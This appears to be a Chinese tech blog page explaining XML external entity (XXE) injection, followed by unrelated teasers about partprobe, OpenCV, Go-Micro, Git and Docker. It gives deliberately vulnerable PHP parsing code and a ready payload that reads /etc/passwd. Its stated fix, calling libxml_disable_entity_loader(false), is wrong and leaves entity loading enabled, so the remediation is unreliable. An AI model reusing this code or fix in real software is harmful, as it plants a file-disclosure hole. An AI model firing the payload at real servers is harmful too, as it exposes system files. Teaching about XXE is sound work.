XML实体注入漏洞
简介XML实体注入漏洞
<?php
libxml_disable_entity_loader(false);
//第一种
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
$xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT); //必须要有这个SimpleXMLElement
var_dump($xml);
}
//第二种
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
$xml = new SimpleXMLElement($data, LIBXML_NOENT);
var_dump($xml);
}
?>
那么POST的data数据为:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "file:///etc/passwd">
]>
<note>
<name>&content;</name>
</note>
如果需要修复,只需要在前面加上:
libxml_disable_entity_loader(false);
partprobe命令用于在硬盘分区发生变化是,更新Linux内核中的硬盘分区表数据。有时在使fdisk、part命令对硬盘进行分区后,会发现找不到新分区,此时需要重启系统才能使修改生效,但是partprobe可以不重启系统就让修改的分区表生效。
OpenCV-Python创建和显示窗口功能,主要介绍与窗口相关的函数,如:namedWindow、resizeWindow、imshow、waitKey。使用opencv创建窗口,需要用到namedWindow函数,上面的函数第一个参数为窗口名称,第二个为窗口的属性。创建窗口后设置窗口大小,设置窗口大小要使用resizeWindow,如果namedWindow函数第二个参数使用了WINDOW_AUTOSIZE,那么窗口不能进行修改大小了.
Go-Micro rpc调用注册的服务
在使用电脑的过程中,我们经常需要一些工具来帮助我们提高工作效率,本文主要记录生活中日常能提高工作效率的小工具和简要的使用说明,以便后期使用需要。
快速生成表格
Electron页面跳转、浏览器打开链接和打开新窗口
在使用Git的过程中,不想每次都输入用户名和密码去拉取代码,所以就需要保存这些信息,那么既然有保存了,就必须有清除功能。
在Mac电脑中,如何对Git的用户名和密码进行修改呢?起初不懂Mac,所以整了很久,本文将记录如何对这个进行操作,以便后期使用。
Docker编译镜像出现:fetch http://dl-cdn.alpinelinux.org/alpine/v3.12/main/x86_64/APKINDEX.tar.gz
ERROR: http://dl-cdn.alpinelinux.org/alpine/v3.12/main: temporary error (try again later)
WARNING: Ignoring APKINDEX.2c4ac24e.tar.gz: No such file or directory问题